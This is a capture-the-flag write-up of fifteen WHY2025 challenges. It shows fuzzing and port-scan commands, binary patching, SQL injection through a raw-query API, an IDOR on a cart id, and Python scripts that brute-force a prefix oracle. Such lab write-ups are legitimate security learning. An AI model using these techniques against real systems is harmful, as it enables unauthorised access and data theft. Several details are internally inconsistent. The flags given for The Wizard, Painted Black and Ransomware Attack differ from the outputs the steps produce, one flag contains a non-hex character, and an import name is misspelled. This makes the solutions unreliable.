WHY2025 CTF Write-up
Full write-up of completed challenges in WHY2025 CTF.
WHY2025 CTF Write-up
Author: AppleTree
Team: APISec Avengers
Event Date: Fri 08 Aug 2025 10:00 MDT – Mon 11 Aug 2025 10:00 MDT
Platform: WHY2025 CTF
Flag Format: flag{md5}
✅ Completed Challenges Overview
Challenge Name | Category | Points | Status |
---|---|---|---|
Substitute Teacher | Crypto | 50 | ✅ |
ToShredsYouSay | Forensics | 100 | ✅ |
The Wizard | Forensics | 100 | ✅ |
Painted Black | Forensics | 100 | ✅ |
IOT Breach | Forensics | 200 | ✅ |
Twenty Three Drivers | Misc | 50 | ✅ |
Ransomware Attack | Network | 50 | ✅ |
Scan Me | Network | 50 | ✅ |
Lazy Code 1.0 | Reversing | 100 | ✅ |
Lazy Code 2.0 | Reversing | 100 | ✅ |
3 Ball Mark | Reversing | 100 | ✅ |
WHY2025 CTF TIMES | Web | 50 | ✅ |
Planets | Web | 50 | ✅ |
Buster | Web | 50 | ✅ |
Shoe Shop 1.0 | Web | 50 | ✅ |
🏆 Solved Challenges
Crypto
Challenge: Substitute Teacher
Points: 50
Flag: flag{f3e6a13e6f29cc9a08c2b8829d6359fd}
Description:
A .tar.gz
archive contained story.txt
, which looked like nonsense words but followed English letter frequency and spacing patterns — a sign of monoalphabetic substitution.
Steps Taken:
- Extracted archive:
1 2
tar -xvzf substitute_teacher.tar.gz cat story.txt
Noted common English-like structure:
- “bpmc” appeared often — could be “this” or “that”.
- Proper nouns appeared capitalized.
- Ran frequency analysis on the text and compared it to English letter frequency.
- Guessed letter mappings for common words and proper nouns.
- Used quipqiup.com to auto-solve remaining letters by providing partial mappings.
- The decrypted text ended with the flag.
Forensics
Challenge: ToShredsYouSay
Points: 100 Flag: flag{dd0755b73e4b7dfd0e06f927874e1511}
Steps Taken:
Extracted Provided File
Downloaded and extracted thetoshredsousay.tgz
archive, revealing a PDF containing a scanned image of shredded paper.Opened the PDF and Took a Screenshot
Opened theToShredsYouSay-1.pdf
file in a PDF viewer, then captured the shredded paper image for editing.- Manual Reconstruction in Paint
- Opened the screenshot in Microsoft Paint.
- Cut each shred into separate pieces.
- Rearranged the strips manually by aligning text and matching the colored logo portions.
- Verified the text flow across strips until the entire string was coherent.
- Reading the Flag
Once the strips were properly aligned, the full flag was clearly visible.
Challenge: The Wizard
Points: 100 Flag: flag{7d05b40d5d21d7a69bbdc04f38f9d937}
Steps Taken:
- Extract the provided archive
1
tar -xvzf thewizard.tgz
This revealed two key files:
.viminfo
.pwfault
Review
.viminfo
for clues Open.viminfo
in a text viewer and look forCommand Line History
entries:1 2 3 4 5 6
:v/?/d :%s,[^a-f0-9],,g :%s/\n// :s/dd/ :%s/^...../flag{/ :%s/.$/}/
These show the transformation steps used in Vim.
Understand the transformations
:v/?/d
— delete lines not matching?
(likely irrelevant here).:%s,[^a-f0-9],,g
— strip all characters except lowercase hex digits.:%s/\n//
— remove newlines.:s/dd/
— remove the substringdd
.:%s/^...../flag{/
— replace the first five characters withflag{
.:%s/.$/}/
— replace the last character with}
.
Inspect
.pwfault
Contents were ASCII gibberish, consistent with needing to be filtered down to hex digits.Reproduce transformations with shell commands
1 2 3 4 5 6 7 8 9 10 11
# Step 1 & 2: Remove all non-hex characters cat .pwfault | tr -d '\n' | sed 's/[^a-f0-9]//g' > clean_hex.txt # Step 3: Remove 'dd' substrings sed -i 's/dd//g' clean_hex.txt # Step 4: Replace first 5 characters with 'flag{' sed -i 's/^...../flag{/' clean_hex.txt # Step 5: Replace last character with '}' sed -i 's/.$/}/' clean_hex.txt
View the final output
1
cat clean_hex.txt
Output:
1
flag{a0f6e83e1f18d04c1f9383a30751168e}
Challenge: Painted Black
Points: 100 Flag: flag{9fa5f985845fb48d1d1b511882c4b6f4}
Steps Taken:
- Initial File Inspection
- Received
case-2025-0412-public.docm
and a screenshot of the “redacted” search warrant. - Recognized
.docm
as a ZIP archive containing WordprocessingML and potential VBA macros.
- Received
- Extract DOCM Contents
1
unzip case-2025-0412-public.docm -d docm_extracted
Key extracted files:
word/document.xml
→ main document bodyword/vbaProject.bin
→ macro codedocProps/core.xml
→ metadata (author/username)
Recover Visible + Hidden Text
- Parsed
document.xml
to extract<w:t>
tag contents in order. Found that “redacted” fields still existed as obfuscated strings:
1 2 3 4 5
Swywy}wcm3U`}a{l2Hlpf`rm A{nfu{>Yi}}j{ev %#:2Iaqgdy~qdf-Sll25Zrlizu`b}q%>[P3.<#/ q~luaj*-:"#j!rs4v,k| <u-9'$wity8$9!.q X~ddsh>Gm}idu`
- Parsed
Macro Analysis with
olevba
1
olevba case-2025-0412-public.docm
Found macro
Sub PaintItBlack()
:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
Sub PaintItBlack() Dim selectedText As String Dim encryptedText As String Dim key As String Dim xorChar, keyPos selectedText = Selection.Text key = Replace(LCase(Application.UserName), " ", "") encryptedText = "" For i = 1 To Len(selectedText) keyPos = i Mod Len(key) + 1 xorChar = Asc(Mid(selectedText, i, 1)) _ Xor Asc(Mid(key, keyPos, 1)) _ Xor &H7B encryptedText = encryptedText & Chr(xorChar) Next i Selection.Text = encryptedText Selection.Shading.BackgroundPatternColor = wdColorBlack Selection.Font.ColorIndex = wdBlack End Sub
Determine XOR Key
From
docProps/core.xml
:1
<dc:creator>Olivia Renshaw</dc:creator>
Macro lowercases & strips spaces:
1
oliviarenshaw
Understand Encryption Scheme
Encryption:
1
E[i] = P[i] ^ key[(i mod len(key))] ^ 0x7B
(with
i
starting at 1 in VBA)Decryption:
1
P[i] = E[i] ^ key[(i mod len(key))] ^ 0x7B
→ In 0-based languages, emulate the 1-based offset with
(i+1) % len(key)
.
Locate Ciphertext in XML
- Could not reliably match pasted obfuscated strings due to entity encoding.
Instead, located them contextually in
document.xml
by markers:- After
"Issued By:"
- After
"Suspect:"
- After
"Address:"
- After
"labeled"
- After
"Detective "
- After
- Extracted the
<w:t>
sequences immediately following these markers.
Decrypt with Correct Alignment
1 2 3 4 5 6 7 8 9 10 11
key = b"oliviarenshaw" def decrypt(ciphertext: bytes) -> str: out = bytearray() for i, b in enumerate(ciphertext): k = key[(i+1) % len(key)] # +1 to match VBA 1-based indexing out.append(b ^ k ^ 0x7B) return out.decode("latin1") # Example usage: print(decrypt(b"Swywy}wcm3U`}a{l2Hlpf`rm"))
- Applied to each extracted encrypted field.
Recovered Plaintext
- Issued By:
Detective Olivia Renshaw
- Suspect:
Victor Langford
- Address:
217 Shadowcrest Ave, Ravenbrook, NX 4078
- Device Label:
flag{c48219f5ea9d6bb54f7533edfc1a1124}
- Detective:
Olivia Renshaw
- Issued By:
Challenge: IOT Breach
Points: 200 Flag: flag{12ff3760f1aef727ac0aa998df310fa5}
Steps Taken:
- Extracted IoT device filesystem dump.
- Found encrypted file and Perl script
enc.pl
implementing AES in CBC mode. Found encryption key in process memory:
1
L0s3@llYourF1l3s
Wrote Python decryption script with
pycryptodome
:1 2 3 4 5 6 7 8 9 10
from Crypt.Cipher import AES import sys key = b'L0s3@llYourF1l3s' with open(sys.argv[1], 'rb') as f: data = f.read() cipher = AES.new(key, AES.MODE_CBC, iv=data[:16]) plaintext = cipher.decrypt(data[16:]) print(plaintext)
- Decrypted the encrypted file — it contained the flag.
Misc
Challenge: Twenty Three Drivers
Points: 50 Flag: flag{23df2w53ac6c4b8a6bfc1cdd769a8a5c}
Steps Taken:
Tested POST request to main site:
1
curl -X POST https://23drivers.ctf.zone/ -d "secret_code=test"
Used
ffuf
to brute-force:1 2 3 4 5
ffuf -u https://23drivers.ctf.zone/ -X POST \ -d "secret_code=FUZZ" \ -H "Content-Type: application/x-www-form-urlencoded" \ -w codes.txt \ -mc all -fr "Unknown code"
Found valid code
23DF2W
which returned the flag in the response.
Network
Challenge: Ransomware Attack
Points: 50 Flag: flag{8f0b879b18c40ddc2f49f73c57d1e6aa}
Steps Taken:
- Extract the provided archive
- We were given
ransomwareattack.tgz
. - Extracted it using:
1
tar -xvzf ransomwareattack.tgz
- This revealed
ransomware-attack.pcap
.
- We were given
- Open the packet capture
- Opened
ransomware-attack.pcap
in Wireshark. - Searched for FTP traffic by applying the filter:
1
ftp or ftp-data
- Found FTP-DATA streams containing file transfers.
- Opened
- Export files from the PCAP
- Right-clicked the FTP-DATA stream → “Follow” → “TCP Stream”.
- Changed the output format to Raw and saved files.
- Extracted two files:
encryptur.py
important_file.txt.encrypted
- Analyze the ransomware script
- Opened
encryptur.py
:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
alphabet = 'abcdefghijklmnopqrstuvwxyz' def shift_chars(text, pos): out = "" for letter in text: if letter in alphabet: letter_pos = (alphabet.find(letter) + pos) % 26 new_letter = alphabet[letter_pos] out += new_letter else: out += letter return out def encrypt_text(text): counter = 0 encrypted_text = "" for i in range(0, len(text), 10): counter = (counter + 1) % 26 encrypted_text += shift_chars(text[i:i+10], counter) return encrypted_text
- Determined that the encryption:
- Works in 10-character blocks.
- Increments the Caesar shift position by 1 each block.
- Only lowercase letters are shifted; other characters remain unchanged.
- Opened
- Plan the decryption
- Reverse the process by:
- Processing in 10-character blocks.
- For each block
n
(starting from 1), shift backward byn % 26
.
- Reverse the process by:
- Write the decryption script
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
alphabet = 'abcdefghijklmnopqrstuvwxyz' def shift_chars_reverse(text, pos): """Shift characters backwards by pos in the alphabet.""" out = "" for letter in text: if letter in alphabet: letter_pos = (alphabet.find(letter) - pos) % 26 out += alphabet[letter_pos] else: out += letter return out def decrypt_text(text): counter = 0 decrypted_text = "" for i in range(0, len(text), 10): counter = (counter + 1) % 26 decrypted_text += shift_chars_reverse(text[i:i+10], counter) return decrypted_text # Load encrypted data with open("important_file.txt.encrypted", "r") as f: encrypted_data = f.read() # Decrypt decrypted_data = decrypt_text(encrypted_data) # Save output with open("important_file.txt", "w") as f: f.write(decrypted_data) print(decrypted_data)
Run the decryption
- Saved the script as
decrypt.py
. Executed:
1
python3 decrypt.py
Output revealed a Caesar Salad recipe with the flag embedded:
1
a drizzle of flag{ad1c53bf1e00a9239d29edaadcda2964}
- Saved the script as
Challenge: Scan Me
Points: 50
Flag: flag{c7d7a0db8ad6d228cbf8c77eab1b0baf}
Steps Taken:
- Ran a full TCP port scan against the target to reveal all open ports:
1
nmap -p- -Pn -n --open -vvv -T5 scanme.ctf.zone
-p-
scans all 65,535 ports.--open
shows only ports with a service listening.-Pn
skips host discovery (treats host as online).-n
disables DNS resolution for speed.-T5
sets max timing for fastest scanning.
The scan output showed a large number of unusual open ports, each with a short banner string.
Example:
1 2 3 4 5
2454/tcp open unknown | banner: f 3871/tcp open unknown | banner: l ...
Each banner contained a single character or small fragment.
Collected all banner outputs into a file in the order they appeared in the scan (by port number).
Discovered that each banner fragment represented part of the flag text but out of logical sequence if read directly. The intended sequence was ascending port order.
Wrote a quick parsing command to extract the banner text and order it by port number:
1 2 3 4 5
nmap -p- -Pn -n --open scanme.ctf.zone -sV \ | awk '/open/{port=$1} /banner/{print port, $3}' \ | sort -n \ | cut -d' ' -f2 \ | tr -d '\n'
awk
captures the port number and the banner text.sort -n
orders results numerically by port.cut
andtr
join fragments into a continuous string.
The concatenated output formed the complete flag string in
flag{md5}
format.
Reversing
Challenge: Lazy Code 1.0
Points: 100 Flag: flag{c960f55554871feedd7c33a20fb73919}
Steps Taken:
- Loaded the binary into radare2:
r2 -w lazy-code-1.0
(-w
enables write mode so we can patch instructions.) Used analysis commands to find the
sleep
function calls inside the main loop:1 2
aaa ; analyze all /c sleep ; search for calls to sleep
- Identified the address of the
call sym.imp.sleep
instruction. - Used
s <address>
to seek to that location. - Patched the
call
instruction to NOPs:1
wx 9090909090
(number of NOPs depends on the original instruction size).
- Saved and exited:
q
→y
to save changes. - Ran the patched binary — loop executed instantly, flag printed without delay.
Challenge: Lazy Code 2.0
Points: 100 Flag: flag{b3fda416daebdef7a5d79deb07c43375}
Steps Taken:
- Opened the new binary in radare2 with write mode:
r2 -w lazy-code-2.0
Repeated analysis to locate the new
sleep
calls:1 2
aaa /c sleep
- Found the updated instruction addresses (different from 1.0).
Sought to each
call sym.imp.sleep
location and replaced with NOPs:1 2
s <address> wx 9090909090
(number of NOPs depends on the original instruction size).
- Saved and quit, then executed the patched binary.
- The program completed instantly and displayed the flag.
Challenge: 3 Ball Mark
Points: 100 Flag: flag{5c0b2b6b2a4c63f0f3f416d89377dba1}
Steps Taken:
- Reverse-engineered binary game in Ghidra.
- Found RNG seed initialization and ball position function.
- Wrote Python script replicating RNG to predict correct ball for all 10 rounds.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
def msvcrt_step(seed): # MSVCRT LCG step: returns new seed and rand() value seed = (seed * 214013 + 2531011) & 0xFFFFFFFF return seed, (seed >> 16) & 0x7fff bag = ["Blue", "Blue", "Yellow"] # initial global state from the binary seed = 0 # srand(0) sequence = [] print("Simulating 10 rounds:\n") for round_num in range(1, 11): # shuffle_bag(): three swaps, each with j = rand() % 3 for i in range(3): seed, r = msvcrt_step(seed) j = r % 3 bag[i], bag[j] = bag[j], bag[i] pick = bag.index("Yellow") + 1 sequence.append(pick) print(f"Round {round_num}: {bag} -> Yellow at position {pick}") print("\nWinning inputs:", sequence) # Output: # Simulating 10 rounds: # Round 1: ['Blue', 'Blue', 'Yellow'] -> Yellow at position 3 # Round 2: ['Blue', 'Blue', 'Yellow'] -> Yellow at position 3 # Round 3: ['Blue', 'Blue', 'Yellow'] -> Yellow at position 3 # Round 4: ['Blue', 'Blue', 'Yellow'] -> Yellow at position 3 # Round 5: ['Yellow', 'Blue', 'Blue'] -> Yellow at position 1 # Round 6: ['Yellow', 'Blue', 'Blue'] -> Yellow at position 1 # Round 7: ['Blue', 'Blue', 'Yellow'] -> Yellow at position 3 # Round 8: ['Blue', 'Yellow', 'Blue'] -> Yellow at position 2 # Round 9: ['Blue', 'Yellow', 'Blue'] -> Yellow at position 2 # Round 10: ['Blue', 'Yellow', 'Blue'] -> Yellow at position 2 # # Winning inputs: [3, 3, 3, 3, 1, 1, 3, 2, 2, 2]
- Fed predicted choices to binary — received flag.
Web
Challenge: WHY2025 CTF TIMES
Points: 50 Flag: flag{4dc8760b6a0c12bb15b4c77102cf76f6}
Steps Taken:
- Downloaded obfuscated
paywall.min.js
. - Decompiled JavaScript, found logic to hide full article text.
- Removed DOM manipulation hiding
<div>
containing the flag. - Reloaded page in browser — flag was visible.
Challenge: Planets
Points: 50 Flag: flag{bcf58de4a0a17e8dfbdeaa8d1a1dbe9f}
Steps Taken:
- Inspecting the JavaScript source
- Found that /api.php was being called with a raw SQL query in the body:
1
query=SELECT * FROM planets
- No sanitization or prepared statements were used, indicating SQL Injection was possible.
- Found that /api.php was being called with a raw SQL query in the body:
- Replaying the request
- Used an HTTP client (Burp Suite, Postman, or browser DevTools) to send the same POST request and confirm the backend returned JSON data.
- Enumerating database tables
- Modified the query to:
SELECT table_name FROM information_schema.tables
- Received a list of tables, including a suspicious one: abandoned_planets.
- Modified the query to:
- Dumping the target table
- Queried:
1
SELECT * FROM abandoned_planets
- The description field of the first record contained the flag.
- Queried:
Challenge: Buster
Points: 50 Flag: flag{deca3b9a1e42d25c508f78a5674f4f5e}
Steps Taken:
- Navigated to
https://buster.ctf.zone/
and tested partial paths like/f
,/fl
,/fla
. - Observed HTTP 200 responses for correct prefixes → identified prefix oracle behavior.
- Noted flag format
flag{[0-9a-f]{32}}
and created character set0123456789abcdef}
. - Discovered
{
and}
must be URL-encoded (%7B
and%7D
). - Wrote initial Python script to brute force one character at a time using GET requests:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import requests import urllib.parse BASE = "https://buster.ctf.zone/" charset = "0123456789abcdef}" flag = "flag{" attempts = 0 print("[*] Starting brute force...") while not flag.endswith("}"): for ch in charset: test = flag + ch attempts += 1 encoded_path = urllib.parse.quote(test) r = requests.get(BASE + encoded_path, allow_redirects=False) if r.status_code == 200: flag = test print(f"[+] Found next char: {ch} -> {flag} (Attempts: {attempts})") break print(f"[!] Final flag: {flag} (Total Attempts: {attempts})")
- Implemented logging to print each found character and total attempts.
- Encountered server instability (TLS resets and timeouts) → enhanced script with retries, backoff, and progress file to resume from last successful character:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
import os import time import random import urllib.parse import requests from requests.adapters import HTTPAdapter from urllib3.util.retry import Retry BASE = "https://buster.ctf.zone/" CHARSET = "0123456789abcdef}" PROG_FILE = "buster_progress.txt" flag = "flag{" if os.path.exists(PROG_FILE): with open(PROG_FILE, "r") as f: last = f.read().strip() if last.startswith("flag{"): flag = last print(f"[*] Resuming from progress file: {flag}") retry = Retry( total=5, connect=5, read=5, backoff_factor=0.5, status_forcelist=[429, 500, 502, 503, 504], allowed_methods=["GET"], raise_on_status=False, ) sess = requests.Session() sess.mount("https://", HTTPAdapter(max_retries=retry)) sess.headers.update({"User-Agent": "ctf-buster/1.0"}) attempts = 0 print("[*] Starting brute force...") while not flag.endswith("}"): for ch in CHARSET: test = flag + ch enc = urllib.parse.quote(test, safe="/") attempts += 1 try: r = sess.get(BASE + enc, allow_redirects=False, timeout=5) code = r.status_code except requests.RequestException as e: print(f"[!] Transient error on '{test}': {e}. Backing off...") time.sleep(0.5 + random.random() * 0.75) continue if code == 200: flag = test print(f"[+] Found next char: {ch} -> {flag} (Attempts: {attempts})") with open(PROG_FILE, "w") as f: f.write(flag) break print(f"[!] Final flag: {flag} (Total Attempts: {attempts})") print(f"[*] Progress saved to {PROG_FILE}")
- Ran the script until
}
was found, totaling 317 attempts.
Challenge: Shoe Shop 1.0
Points: 50 Flag: flag{13a5a584df37db8f07012c2277a50a2f}
Steps Taken:
- Created account and viewed cart.
- Cart API call contained
id
parameter matching user ID. - Changed
id
to1
— returned another user’s cart with flag.
📚 Lessons Learned
- Detailed enumeration pays off in Network and Web categories.
- Always document exact tool commands for reproducibility.
- Forensics sometimes requires manual visual work when automation fails.
- Knowing when to move on from an unsolved challenge is key for time management.
Note: AI-assisted editing was used only for grammar, formatting, and consistency. All opinions are my own based on official OffSec documentation.